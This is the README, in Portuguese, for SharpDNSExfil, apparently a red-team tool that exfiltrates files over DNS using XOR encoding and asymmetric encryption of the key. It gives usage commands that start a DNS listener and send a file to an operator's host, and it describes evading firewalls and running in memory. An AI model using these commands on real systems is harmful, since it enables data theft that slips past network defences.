
Ferramenta em C# para exfiltração de arquivos via DNS utilizando criptografia XOR e assimétrica, projetada para operações de red team com conexões de saída restritas.
SharpDNSExfil é uma ferramenta de exfiltração escrita em C#. O principal objetivo é exfiltrar quaisquer arquivos "no disco" sem ter que se preocupar com conexões de saída restritas.
Eu obtive um RCE cego durante meu engagement e descobri que a máquina remota tem proteção de firewall que não permite conexões de saída e dificultou a obtenção de uma conexão reversa. A boa notícia é que o servidor DNS pode resolver domínios públicos e consegue me alcançar via DNS. O problema é que ainda não consegui um reverse shell, conseguia ler algumas saídas pequenas, mas no bueno. Então tive a ideia de automatizar o processo apenas via DNS e percorrer todas as etapas recursivamente, e finalmente funcionou!
RESSALVA: Todo o processo foi testado apenas através de servidor DNS público personalizado, mas não foi totalmente testado em ambiente corporativo real. Portanto, use por sua conta e risco!
Todos os bytes exfiltrados são operados com XOR com uma chave gerada aleatoriamente. Você pode pensar: a chave estará então em texto simples no nível de rede (wireshark fará isso). Com a opção --encrypt, é aqui que a criptografia assimétrica entra em ação, uma chave pública hard-coded irá criptografar a chave XOR. A máquina local (você) esperará uma forma criptografada da chave, o script python descriptografará automaticamente a chave com sua chave privada hard-coded. O restante dos dados transmitidos será retornado a XOR para seus bytes originais. Portanto, sempre troque os pares de chave, por favor
| Antes da criptografia | Após a criptografia |
|---|---|
![]() | ![]() |
dnsserver.py. As opções são as seguintespython3 dnserver.py --udp --port 53 --host 192.168.0.102
SharpDNSExfil.exe --file C:\path\to\file --server 192.168.0.102
As etapas e processos do SharpDNSExfil devem ser executados totalmente em memória sem tocar no disco para evitar deixar lixo durante o engagement. O SharpDNSExfil informará cada etapa ou processo que executa em segundo plano com a opção --verbose. Cada byte enviado é codificado com XOR e a chave será posteriormente criptografada com criptografia assimétrica para evitar chave em texto simples no tráfego de rede. Tenha cuidado extra e sempre tome notas e faça a limpeza na propriedade do cliente.